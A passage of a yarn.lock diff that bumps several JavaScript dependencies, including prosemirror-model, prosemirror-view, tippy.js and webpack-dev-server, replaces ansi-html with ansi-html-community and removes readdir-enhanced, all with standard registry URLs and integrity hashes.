-prosemirror-model@^1.0.0, prosemirror-model@^1.13.1, prosemirror-model@^1.14.3, prosemirror-model@^1.2.0, prosemirror-model@^1.8.1:
- version "1.14.3"
- resolved "https://registry.yarnpkg.com/prosemirror-model/-/prosemirror-model-1.14.3.tgz#a9c250d3c4023ddf10ecb41a0a7a130e9741d37e"
- integrity sha512-yzZlBaSxfUPIIP6U5Edh5zKxJPZ5f7bwZRhiCuH3UYkWhj+P3d8swHsbuAMOu/iDatDc5J/Qs5Mb3++mZf+CvQ==
+prosemirror-model@^1.0.0, prosemirror-model@^1.13.1, prosemirror-model@^1.14.3, prosemirror-model@^1.15.0, prosemirror-model@^1.2.0, prosemirror-model@^1.8.1:
+ version "1.15.0"
+ resolved "https://registry.yarnpkg.com/prosemirror-model/-/prosemirror-model-1.15.0.tgz#23bc09098daa7c309dba90a76a1b989ce6f61405"
+ integrity sha512-hQJv7SnIhlAy9ga3lhPPgaufhvCbQB9tHwscJ9E1H1pPHmN8w5V/lURueoYv9Kc3/bpNWoyHa8r3g//m7N0ChQ==
dependencies:
orderedmap "^1.1.0"
@@ -9889,10 +9905,10 @@ prosemirror-transform@^1.0.0, prosemirror-transform@^1.1.0, prosemirror-transfor
dependencies:
prosemirror-model "^1.0.0"
-prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.16.5, prosemirror-view@^1.20.3:
- version "1.20.3"
- resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.20.3.tgz#9781fe59cf0728e749ff4116f8a69d30d8cea943"
- integrity sha512-2ImL9K/tIEk+aC2GT8shzfmT2U0Y8UQZ13L5AY0A4Tcj09o/ICGE362gKUE3Ze/Xr/nMw61Zv5JMSQUszAj9dw==
+prosemirror-view@^1.0.0, prosemirror-view@^1.1.0, prosemirror-view@^1.13.3, prosemirror-view@^1.16.5, prosemirror-view@^1.23.1, prosemirror-view@^1.23.3:
+ version "1.23.3"
+ resolved "https://registry.yarnpkg.com/prosemirror-view/-/prosemirror-view-1.23.3.tgz#9ba85fefaf45e813c46562b694fc5f6f9a5cba9c"
+ integrity sha512-89icyMdXXwxmTxYj0TIuG5M/d0iKeu79tr+PVtC/4qtCOoHrPSPrblJcFOuOWcxGlA/Ei8PqJB4g5HkKR8jWvQ==
dependencies:
prosemirror-model "^1.14.3"
prosemirror-state "^1.0.0"
@@ -10167,14 +10183,6 @@ readable-stream@~2.0.6:
string_decoder "~0.10.x"
util-deprecate "~1.0.1"
-readdir-enhanced@^2.2.4:
- version "2.2.4"
- resolved "https://registry.yarnpkg.com/readdir-enhanced/-/readdir-enhanced-2.2.4.tgz#773fb8a8de5f645fb13d9403746d490d4facb3e6"
- integrity sha512-JQD83C9gAs5B5j2j40qLn/K83HhR8po3bUonebNeuJQUZbbn7q1HxL9kQuPBtxoXkaUpbtEmpFBw5kzyYnnJDA==
- dependencies:
- call-me-maybe "^1.0.1"
- glob-to-regexp "^0.4.0"
-
readdirp@~3.4.0:
version "3.4.0"
resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.4.0.tgz#9fdccdf9e9155805449221ac645e8303ab5b9ada"
@@ -11544,10 +11552,10 @@ tiny-emitter@^2.0.0:
resolved "https://registry.yarnpkg.com/tiny-emitter/-/tiny-emitter-2.0.2.tgz#82d27468aca5ade8e5fd1e6d22b57dd43ebdfb7c"
integrity sha512-2NM0auVBGft5tee/OxP4PI3d8WItkDM+fPnaRAVo6xTDI2knbz9eC5ArWGqtGlYqiH3RU5yMpdyTTO7MguC4ow==
-tippy.js@^6.3.2:
- version "6.3.2"
- resolved "https://registry.yarnpkg.com/tippy.js/-/tippy.js-6.3.2.tgz#c03a0b88f170dffeba42f569771801dddc1f6340"
- integrity sha512-35XVQI7Zl/jHZ51+8eHu/vVRXBjWYGobPm5G9FxOchj4r5dWhghKGS0nm0ARUKZTF96V7pPn7EbXS191NTwldw==
+tippy.js@^6.3.7:
+ version "6.3.7"
+ resolved "https://registry.yarnpkg.com/tippy.js/-/tippy.js-6.3.7.tgz#8ccfb651d642010ed9a32ff29b0e9e19c5b8c61c"
+ integrity sha512-E1d3oP2emgJ9dRQZdf3Kkn0qJgI6ZLpyS5z6ZkY1DF3kaQaBsGZsndEpHwx+eC+tYM41HaSNvNtLx8tU57FzTQ==
dependencies:
"@popperjs/core" "^2.9.0"
@@ -12483,12 +12491,12 @@ webpack-dev-middleware@^3.7.2:
range-parser "^1.2.1"
webpack-log "^2.0.0"
-webpack-dev-server@^3.11.2:
- version "3.11.2"
- resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-3.11.2.tgz#695ebced76a4929f0d5de7fd73fafe185fe33708"
- integrity sha512-A80BkuHRQfCiNtGBS1EMf2ChTUs0x+B3wGDFmOeT4rmJOHhHTCH2naNxIHhmkr0/UillP4U3yeIyv1pNp+QDLQ==
+webpack-dev-server@^3.11.3:
+ version "3.11.3"
+ resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-3.11.3.tgz#8c86b9d2812bf135d3c9bce6f07b718e30f7c3d3"
+ integrity sha512-3x31rjbEQWKMNzacUZRE6wXvUFuGpH7vr0lIEbYpMAG9BOxi0928QU1BBswOAP3kg3H1O4hiS+sq4YyAn6ANnA==
dependencies:
- ansi-html "0.0.7"
+ ansi-html-community "0.0.8"
bonjour "^3.5.0"
chokidar "^2.1.8"
compression "^1.7.4"